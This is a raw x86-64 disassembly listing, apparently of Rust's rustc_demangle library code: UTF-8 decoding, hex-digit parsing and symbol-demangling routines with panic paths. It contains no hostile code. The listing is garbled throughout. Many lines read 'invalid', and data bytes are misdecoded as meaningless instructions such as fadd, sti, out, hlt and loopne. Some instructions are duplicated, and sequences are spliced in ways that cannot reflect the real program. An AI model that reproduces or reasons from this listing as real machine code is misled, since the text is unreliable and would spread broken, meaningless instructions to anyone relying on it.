jmp 0x1a7f1b960dc
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1a7f1b96089
test rcx, rcx
je 0x1a7f1b960e5
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
test al, al
jne case.0x1a7f1b92321.387
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1a7f1b96089
add edx, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
jae 0x1a7f1b9652f
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
jb 0x1a7f1b96195
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r11d, 0xffffffff
invalid
invalid
invalid
inc dword [rbp + 0xf]
fadd dword [r9 - 0x7d]
fadd dword [rcx - 0x7d]
sti
adc byte [rdi], cl
invalid
invalid
add eax, dword [rax]
invalid
fadd dword [rcx - 0x7d]
sti
adc byte [rdi], cl
sbb dword [rdx - 0x3ffffffd], 0xffffffe0
invalid
add eax, dword [rax]
add al, al
loopne 0x1a7f1b9619c
or r11b, al
invalid
shl al, 4
or r11b, al
js 0x1a7f1b961eb
mov byte [rsp + 0x24], r11b
pop rsp
and al, 0x24
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov r8d, 1
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
mov rcx, rsi
call fcn.1a7f1b69b50
cmp qword [rsp + 0x40], 0
je 0x1a7f1b9621a
mov eax, 0x110000
jmp 0x1a7f1b96508
mov eax, 0x110000
cmp r11b, 0xc0
jb 0x1a7f1b96508
cmp r11b, 0xe0
jb 0x1a7f1b96254
cmp r11b, 0xf0
jae 0x1a7f1b962b3
mov r8d, 3
mov r10b, 1
xor eax, eax
jmp 0x1a7f1b962c8
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rdx, [rcx + rax]
test rax, rax
je 0x1a7f1b96247
movzx eax, byte [rcx]
test al, al
js 0x1a7f1b96261
lea r8, [rcx + 1]
jmp 0x1a7f1b9648b
mov eax, 0x110000
mov r8, rcx
jmp 0x1a7f1b9648b
mov r8d, 2
add al, byte [rax]
add byte [rax], al
xor r10d, r10d
xor eax, eax
jmp 0x1a7f1b962c8
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x1a7f1b9646d
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
or edx, ebx
cmp al, 0xf0
jb 0x1a7f1b9647d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + rcx*4 + 0x41], cl
add al, 0xf
invalid
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
mov dh, 0x41
add eax, dword [rcx - 0x7d]
and r9d, 7
and r9d, 7
invalid
shl r9d, 0x12
shl r10d, 6
loop 0x1a7f1b962ab
loop 0x1a7f1b962ab
invalid
and eax, 0x3f
or eax, r10d
or eax, edx
or eax, edx
or eax, r9d
jmp 0x1a7f1b9648b
cmp r11b, 0xf8
clc
jae 0x1a7f1b96508
mov r8d, 4
mov eax, 4
mov al, 1
xor r10d, r10d
rol byte [rax + rcx*4 + 0x5c], cl
and al, 0x24
invalid
mov byte [rsp + 0x24], r11b
mov byte [rsp + 0x24], bl
and al, 0x66
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
and al, 0x27
add byte [rax - 0x73], cl
je 0x1a7f1b96301
invalid
mov dword [rsp + 0x25], 0x44c60000
and al, 0x27
add dh, al
and al, 0x27
add byte [rax - 0x73], cl
je 0x1a7f1b96301
and al, 0x24
and al, 0x48
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
cmp rdx, 2
jb 0x1a7f1b961e1
out dx, eax
invalid
invalid
invalid
xor byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
invalid
out dx, eax
invalid
lea rdi, [r9 + 2]
lea rsi, [rdx - 2]
add cl, byte [rax - 0x73]
jb 0x1a7f1b962f8
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
cmp dword [rax - 0x77], ecx
jno 0x1a7f1b96309
movzx r14d, byte [r9]
mov dh, 0x31
movzx ebx, byte [r9 + 1]
lea edi, [r14 - 0x30]
add dword [rcx - 0x73], eax
jle 0x1a7f1b962de
cmp edi, 0xa
jb 0x1a7f1b96331
or r14d, 0x20
add r14d, 0xffffff9f
add r14d, 0xa
mov edi, 0xffffffff
cmovae edi, r14d
cmp edi, 0xf
ja 0x1a7f1b9652f
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x1a7f1b96353
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov ebp, 0xffffffff
cmovae ebp, ebx
cmp ebp, 0xf
ja 0x1a7f1b9652f
shl dil, 4
or bpl, dil
mov byte [rsp + 0x25], bpl
cmp r11b, 0xe0
jb 0x1a7f1b961c7
cmp rsi, 2
jb 0x1a7f1b961e1
invalid
outsb dx, byte [rsi]
invalid
invalid
invalid
invalid
lea rsi, [r9 + 4]
lea r11, [rdx - 4]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
or byte [rcx + 0xf], al
mov dh, 0x59
add al, byte [rcx + 0xf]
mov dh, 0x79
add ecx, dword [rbp - 0x17c2f8d]
or dh, byte [rdx + 0x1a]
or byte [rcx + 0xf], al
mov dh, 0x59
add al, byte [rcx + 0xf]
mov dh, 0x79
add ecx, dword [rbp - 0x17c2f8d]
or dh, byte [rdx + 0x1a]
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
invalid
invalid
dec dword [rdi]
cmp esi, 0xf
dec byte [rdi]
invalid
dec byte [rdi]
ja 0x1a7f1b9652f
add byte [rbp - 0x47c2fa1], cl
or dh, byte [rdx + 0x1a]
jb 0x1a7f1b963d0
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x1a7f1b963d0
or edi, 0x20
add edi, 0xffffff9f
lahf
lahf
add edi, 0xa
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x1a7f1b9652f
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
test r10b, r10b
jne 0x1a7f1b961c7
cmp r11, 2
jb 0x1a7f1b961e1
lea r10, [r9 + 6]
add rdx, 0xfffffffffffffffa
mov qword [rcx], r10
mov qword [rcx + 8], rdx
movzx r10d, byte [r9 + 4]
movzx edx, byte [r9 + 5]
lea ecx, [r10 - 0x30]
cmp ecx, 0xa
jb 0x1a7f1b9642e
invalid
invalid
invalid
or r10d, 0x20
add r10d, 0xffffff9f
ret 0x419f
add edx, 0xa
mov ecx, 0xffffffff
invalid
invalid
invalid
inc dword [rcx + 0xf]
retf 0xf983
retf 0xf983
invalid
ja 0x1a7f1b9652f
add dword [rax], eax
invalid
ret 0x419f
retf 0xf983
add dword [rax], eax
add byte [rbp + rcx*4 + 0x4a], al
rol byte [rcx - 0x7d], 1
stc
or dh, byte [rdx + 0x1d]
lea r9d, [rdx - 0x30]
cmp r9d, 0xa
jb 0x1a7f1b96455
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov r9d, 0xffffffff
cmovae r9d, edx
cmp r9d, 0xf
ja 0x1a7f1b9652f
test al, al
je 0x1a7f1b96516
shl cl, 4
or r9b, cl
mov byte [rsp + 0x27], r9b
jmp 0x1a7f1b961c7
lea r8, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x1a7f1b9648b
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x1a7f1b964f9
movzx r9d, byte [r8]
test r9b, r9b
jns 0x1a7f1b96563
cmp r9b, 0xe0
jb 0x1a7f1b96563
cmp r9b, 0xf0
jb 0x1a7f1b96563
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
sete r8b
cmp eax, 0x110000
jne 0x1a7f1b96503
jmp 0x1a7f1b96563
mov r8b, 1
cmp eax, 0x110000
je 0x1a7f1b96563
test r8b, r8b
je 0x1a7f1b96563
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov ecx, 3
mov rdx, r8
mov r8, rax
call fcn.1a7f1c2fb60
ud2
lea rcx, [0x1a7f1c8b482]
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.1a7f1c2fc60
ud2
call fcn.1a7f1b966b0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [0x1a7f1b96790]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x1a7f1b76030]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rax, [fcn.1a7f1b67cb0]
mov qword [rsp + 0x68], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 4
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rsp + 0x80]
call fcn.1a7f1c2faa0
ud2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, r12
mov r8, r14
call qword [rax + 0x18]
test al, al
mov r13, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x38]
jne 0x1a7f1b99442
mov rdi, qword [rsp + 0x40]
cmp rdi, r13
setne r15b
mov dword [rsp + 0x34], r15d
je 0x1a7f1b99442
test rdx, rdx
je 0x1a7f1b9945a
lea rax, [rdi + 1]
mov qword [rsp + 0x40], rax
movzx ecx, byte [rbp]
xor eax, eax
mov rbx, rdx
test cl, cl
jns 0x1a7f1b98bb0
jmp 0x1a7f1b98b32
cmp rbx, 2
jb 0x1a7f1b9945a
movzx ecx, byte [rbp + rax + 1]
cmp cl, 0xbf
jle 0x1a7f1b99474
dec rbx
inc rax
test cl, cl
jns 0x1a7f1b98bb0
mov r8d, ecx
and r8b, 0x1f
movzx r10d, r8b
movzx r9d, byte [rbp + rax + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x1a7f1b98b90
movzx r8d, byte [rbp + rax + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1a7f1b98ba0
movzx ecx, byte [rbp + rax + 3]
and r10d, 7
shl r10d, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, r10d
cmp ecx, 0x110000
jne 0x1a7f1b98bb3
jmp 0x1a7f1b9945a
shl r10d, 6
or r10d, r9d
mov ecx, r10d
jmp 0x1a7f1b98bb3
shl r10d, 0xc
or r8d, r10d
mov ecx, r8d
jmp 0x1a7f1b98bb3
movzx ecx, cl
lea r14, [rax + rbp]
add ecx, 0xffffffd0
cmp ecx, 9
jbe 0x1a7f1b98b10
mov r9, rdx
sub r9, rbx
je 0x1a7f1b98bdd
jb 0x1a7f1b994b5
cmp byte [rbp + r9], 0xbf
jle 0x1a7f1b994b5
lea rcx, [rsp + 0x48]
mov rdx, rbp
mov r8, r9
call fcn.1a7f1b6fb60
cmp byte [rsp + 0x48], 0
jne 0x1a7f1b994ce
mov r12, qword [rsp + 0x50]
test r12, r12
je 0x1a7f1b98c30
mov rax, rbx
sub rax, r12
mov qword [rsp + 0x38], rax
jbe 0x1a7f1b98c40
cmp byte [r14 + r12], 0xbf
jle 0x1a7f1b9952e
cmp qword [rsp + 0x40], r13
je 0x1a7f1b98c58
jmp 0x1a7f1b98d60
mov qword [rsp + 0x38], rbx
jmp 0x1a7f1b98d60
jne 0x1a7f1b9952e
xor eax, eax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x40], r13
jne 0x1a7f1b98d60
mov eax, dword [rsi + 0x34]
and eax, 4
je 0x1a7f1b98d60
cmp byte [r14], 0x68
jne 0x1a7f1b98d60
cmp r12, 2
jb 0x1a7f1b98c86
cmp byte [r14 + 1], 0xbf
jle 0x1a7f1b995dc
lea rcx, [r12 - 1]
jmp 0x1a7f1b98c88
xor ecx, ecx
lea rax, [r14 + 1]
add rcx, r14
inc rcx
nop word cs:[rax + rax]
cmp rax, rcx
je 0x1a7f1b99432
movzx r10d, byte [rax]
movzx edx, r10b
test dl, dl
js 0x1a7f1b98cc0
inc rax
jmp 0x1a7f1b98d40
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rax + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1a7f1b98d16
movzx r9d, byte [rax + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1a7f1b98d26
movzx edx, byte [rax + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1a7f1b99432
add rax, 4
jmp 0x1a7f1b98d40
add rax, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x1a7f1b98d40
add rax, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
nop word cs:[rax + rax]
lea r8d, [rdx - 0x30]
cmp r8d, 0xa
jb 0x1a7f1b98ca0
or edx, 0x20
add edx, 0xffffff9f
cmp edx, 6
jb 0x1a7f1b98ca0
nop dword [rax]
test rdi, rdi
je 0x1a7f1b98d85
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 2
lea rdx, [0x1a7f1c58b68]
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b99442
mov rdi, r12
mov r13, r14
cmp r12, 2
jb 0x1a7f1b98dc0
movzx eax, word [r14]
mov rdi, r12
mov r13, r14
cmp eax, 0x245f
jne 0x1a7f1b98dc0
cmp byte [r14 + 1], 0xbf
jle 0x1a7f1b995b1
lea r13, [r14 + 1]
lea rdi, [r12 - 1]
nop word cs:[rax + rax]
mov rbp, r14
add rbp, r12
mov r12, r13
mov r14, rdi
test rdi, rdi
je 0x1a7f1b98e60
movzx eax, byte [r12]
cmp eax, 0x24
je 0x1a7f1b98f80
cmp eax, 0x2e
jne 0x1a7f1b98e60
cmp r14, 2
jb 0x1a7f1b98ffb
movzx ecx, byte [r12 + 1]
cmp cl, 0xbf
jle 0x1a7f1b99580
movzx eax, cl
test cl, cl
js 0x1a7f1b9934f
cmp eax, 0x2e
jne 0x1a7f1b993b4
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 2
lea rdx, [0x1a7f1c58b68]
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b9943c
cmp r14, 3
jb 0x1a7f1b99397
cmp byte [r12 + 2], 0xc0
jl 0x1a7f1b995fe
add r14, 0xfffffffffffffffe
mov rdi, r14
jmp 0x1a7f1b99399
lea rax, [r12 + r14]
xor r8d, r8d
mov rcx, r12
jmp 0x1a7f1b98e92
lea r9, [rcx + 1]
cmp edx, 0x24
je 0x1a7f1b98f40
mov r8, r13
sub r8, rcx
add r8, r9
mov rcx, r9
cmp edx, 0x2e
je 0x1a7f1b98f40
cmp rcx, rax
je 0x1a7f1b98ab0
mov r13, r8
movzx r9d, byte [rcx]
movzx edx, r9b
test dl, dl
jns 0x1a7f1b98e70
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1a7f1b98f09
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x1a7f1b98f22
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x1a7f1b98ab0
lea r9, [rcx + 4]
cmp edx, 0x24
jne 0x1a7f1b98e7d
jmp 0x1a7f1b98f40
lea r9, [rcx + 2]
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0x24
jne 0x1a7f1b98e7d
jmp 0x1a7f1b98f40
lea r9, [rcx + 3]
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
cmp edx, 0x24
jne 0x1a7f1b98e7d
nop dword [rax]
test r13, r13
je 0x1a7f1b98f9f
mov rdi, r14
sub rdi, r13
jbe 0x1a7f1b98fbf
cmp byte [r12 + r13], 0xbf
jle 0x1a7f1b99508
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, r12
mov r8, r13
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b9943c
cmp byte [r12 + r13], 0xc0
jge 0x1a7f1b98fea
jmp 0x1a7f1b99551
cmp r14, 2
jb 0x1a7f1b99022
cmp byte [r12 + 1], 0xbf
jle 0x1a7f1b99589
lea rax, [r14 - 1]
jmp 0x1a7f1b99024
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, r12
xor r8d, r8d
call qword [rax + 0x18]
mov r13d, 0
test al, al
je 0x1a7f1b98fed
jmp 0x1a7f1b9943c
jne 0x1a7f1b99508
test r12, r12
je 0x1a7f1b99508
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, r12
mov r8, r14
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b9943c
mov r13, r14
mov r14, rdi
add r12, r13
mov rdi, r14
mov r13, r12
jmp 0x1a7f1b98dc6
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
lea rdx, [0x1a7f1c8aa7e]
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b9943c
xor edi, edi
jmp 0x1a7f1b993e2
xor eax, eax
lea rbx, [r12 + 1]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
movabs rax, 0x2400000024
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x48]
call fcn.1a7f1b92e10
cmp qword [rsp + 0x80], 0
je 0x1a7f1b98ab0
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xffffffffffffffff
je 0x1a7f1b99527
lea r9, [rdx + 1]
cmp r14, 2
jb 0x1a7f1b9909f
cmp byte [rbx], 0xc0
jl 0x1a7f1b99496
cmp r9, r14
jae 0x1a7f1b990b5
cmp byte [r12 + r9], 0xc0
jl 0x1a7f1b99496
lea r13, [rdx + 2]
jmp 0x1a7f1b990ca
jne 0x1a7f1b99496
mov r13, rdx
mov rdi, r14
mov rax, r12
add r13, 2
je 0x1a7f1b99103
mov rdi, r14
sub rdi, r13
jbe 0x1a7f1b990de
cmp byte [r12 + r13], 0xc0
jge 0x1a7f1b990e4
jmp 0x1a7f1b99548
jne 0x1a7f1b99548
add r13, r12
cmp rdx, 1
je 0x1a7f1b99123
cmp rdx, 2
je 0x1a7f1b992a1
mov rax, r13
test rdx, rdx
je 0x1a7f1b98ab0
cmp byte [r12 + 1], 0x75
mov r13, rax
jne 0x1a7f1b98ab0
cmp byte [r12 + 2], 0xbf
jle 0x1a7f1b99592
dec rdx
jmp 0x1a7f1b99141
movzx ecx, byte [rbx]
lea rax, [0x1a7f1c606ed]
cmp ecx, 0x43
je 0x1a7f1b9932d
cmp ecx, 0x75
jne 0x1a7f1b98ab0
xor edx, edx
lea rcx, [r12 + 2]
lea rax, [r12 + rdx]
add rax, 2
mov r8, rcx
nop word cs:[rax + rax]
cmp r8, rax
je 0x1a7f1b99220
movzx ebx, byte [r8]
movzx r9d, bl
test r9b, r9b
js 0x1a7f1b99180
inc r8
jmp 0x1a7f1b99200
mov r10d, r9d
and r10d, 0x1f
movzx r15d, byte [r8 + 1]
and r15d, 0x3f
cmp r9b, 0xdf
jbe 0x1a7f1b991d5
movzx r11d, byte [r8 + 2]
shl r15d, 6
and r11d, 0x3f
or r11d, r15d
cmp bl, 0xf0
jb 0x1a7f1b991e5
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x1a7f1b99220
add r8, 4
jmp 0x1a7f1b99200
add r8, 2
shl r10d, 6
or r10d, r15d
mov r9d, r10d
jmp 0x1a7f1b99200
add r8, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
nop word cs:[rax + rax]
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1a7f1b99160
add r9d, 0xffffff9f
cmp r9d, 6
jb 0x1a7f1b99160
mov bl, 1
jmp 0x1a7f1b99222
xor ebx, ebx
mov r8d, 0x10
call fcn.1a7f1b6f900
test al, 1
jne 0x1a7f1b98ab0
shr rax, 0x20
mov ecx, eax
xor ecx, 0xd800
add ecx, 0xffef0000
cmp ecx, 0xffef0800
mov ecx, 0x110000
cmovb eax, ecx
cmp eax, 0x110000
sete cl
or bl, cl
jne 0x1a7f1b98ab0
mov dword [rsp + 0x48], eax
mov ecx, eax
shl ecx, 0xb
cmp ecx, 0x88050000
jae 0x1a7f1b99568
cmp eax, 0x20
jb 0x1a7f1b98ab0
add eax, 0xffffff81
cmp eax, 0x21
jb 0x1a7f1b98ab0
lea rcx, [rsp + 0x48]
mov rdx, rsi
call fcn.1a7f1b6e4c0
jmp 0x1a7f1b99342
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c25]
cmp ecx, 0x5053
je 0x1a7f1b9932d
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c24]
cmp ecx, 0x5042
je 0x1a7f1b9932d
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c23]
cmp ecx, 0x4652
je 0x1a7f1b9932d
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c22]
cmp ecx, 0x544c
je 0x1a7f1b9932d
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c21]
cmp ecx, 0x5447
je 0x1a7f1b9932d
movzx ecx, word [rbx]
lea rax, [0x1a7f1c58c20]
add eax, 0xbf91b
or ecx, dword [rax - 0x73]
add eax, 0xbf91b
or eax, dword [rax]
cmp ecx, 0x504c
stc
push rax
add byte [rax], al
je 0x1a7f1b9932d
movzx ecx, word [rbx]
mov bh, 0xb
lea rax, str._HRESULT_
cmp ecx, 0x5052
stc
push rdx
push rax
add byte [rax], al
pop rcx
cmp eax, 0xf9810010
stc
stc
push rdx
push rax
add byte [rax], al
je 0x1a7f1b9932d
cmp byte [rbx], 0x75
je 0x1a7f1b99112
invalid
jmp 0x1a7f1b98ab0
dec dword [rax - 0x75]
and byte [rbx + r9*4 + 0x4e], r9b
and byte [rbx + rcx*4 + 0x4e], cl
mov rcx, qword [rsi + 0x20]
and byte [rbx + rcx*4 + 0x4e], cl
mov r9, qword [rsi + 0x28]
mov r8d, 1
sub byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rdx, rax
call qword [r9 + 0x18]
test al, al
je 0x1a7f1b98dc6
jmp 0x1a7f1b9943c
and eax, 0x1f
movzx r8d, byte [r12 + 2]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x1a7f1b993a5
movzx edx, byte [r12 + 3]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1a7f1b993ed
movzx ecx, byte [r12 + 4]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or eax, ecx
cmp eax, 0x2e
je 0x1a7f1b98e15
jmp 0x1a7f1b993b4
xor edi, edi
add r12, 2
mov r13, r12
jmp 0x1a7f1b98dc6
shl eax, 6
or eax, r8d
cmp eax, 0x2e
je 0x1a7f1b98e15
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
lea rdx, [0x1a7f1c8aa7e]
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b9943c
cmp byte [r12 + 1], 0xc0
jl 0x1a7f1b995ba
dec r14
mov rdi, r14
inc r12
mov r13, r12
jmp 0x1a7f1b98dc6
shl eax, 0xc
or eax, edx
cmp eax, 0x2e
je 0x1a7f1b98e15
jmp 0x1a7f1b993b4
mov dword [rsp + 0x34], 0
jmp 0x1a7f1b99442
mov al, 1
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x1a7f1c8b482]
lea r8, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov edx, 0x2b
call fcn.1a7f1c2fc60
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r14
mov rdx, rbx
mov r9, rbx
call fcn.1a7f1c301d0
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r12
mov rdx, r14
call fcn.1a7f1c301d0
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
xor r8d, r8d
call fcn.1a7f1c301d0
ud2
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x80], al
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1c8b4ad]
rcr byte [rdi], 0xf
add byte [rbp + rcx*4 + 0xd], cl
movsb byte [rdi], byte [rsi]
hlt
or eax, dword [rax]
rcr byte [rdi], 0xf
add byte [rbp + rcx*4 + 0xd], cl
movsb byte [rdi], byte [rsi]
hlt
or eax, 0xbf4a4
or eax, dword [rax]
lea r8, [rsp + 0x80]
lea eax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rdx + 0x2b], bh
mov edx, 0x2b
add byte [rax], al
mov edx, 0x2b
add byte [rax], al
call fcn.1a7f1c2ff90
mov ch, byte [rdx + 9]
or dword [rax], eax
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x1a7f1c58b88]
add eax, 0xbf679
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
and byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov rdx, r14
mov edx, esi
xor r8d, r8d
xor r8d, r8d
ror byte [rbp - 0x77], 0xe9
mov r9, r13
mov ecx, ebp
call fcn.1a7f1c301d0
or dword [rax], eax
ud2
call fcn.1a7f1c302b0
test byte [rbp + 9], ch
add byte [rdi], cl
invalid
insd dword [rdi], dx
or dword [rax], eax
ud2
or ecx, dword [rax - 0x73]
add eax, 0xbf61b
test byte [rbx], 0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x1a7f1c58b50]
test byte [rbx], 0
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r14
mov rdx, rbx
fimul dword [rbp - 0x77]
loopne case.0x1a7f1b6fd85.487
invalid
invalid
invalid
invalid
fimul dword [rbp - 0x77]
loopne case.0x1a7f1b6fd85.487
invalid
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x1a7f1c58be8]
add bl, ch
invalid
jmp case.0x1a7f1b7491c.477
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add eax, 0xbf648
mov qword [rsp + 0x20], rax
and byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov rdx, r14
mov r8, r13
jmp 0x1a7f1b995d2
lea r8, [0x1a7f1c3bc50]
mov ecx, 1
mov edx, 1
call fcn.1a7f1c2fb60
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
or eax, dword [rax]
jmp 0x1a7f1b995c1
cmp byte [rax - 0x73], cl
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add eax, 0xbf628
or eax, dword [rax]
jmp 0x1a7f1b995c1
invalid
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
lea eax, [0x1a7f1c58c08]
test byte [rbx], 0
mov qword [rsp + 0x20], rax
and al, 0x20
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
mov ecx, ebx
mov r9, rdx
call fcn.1a7f1c301d0
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov eax, 0xeb000bf5
jmp 0x1a7f1b995e3
sub dword [rax - 0x73], ecx
add eax, 0xbf697
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r12
mov rdx, r14
mov r9, r14
call fcn.1a7f1c301d0
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
or eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rcx - 0x48], al
mov r8d, 1
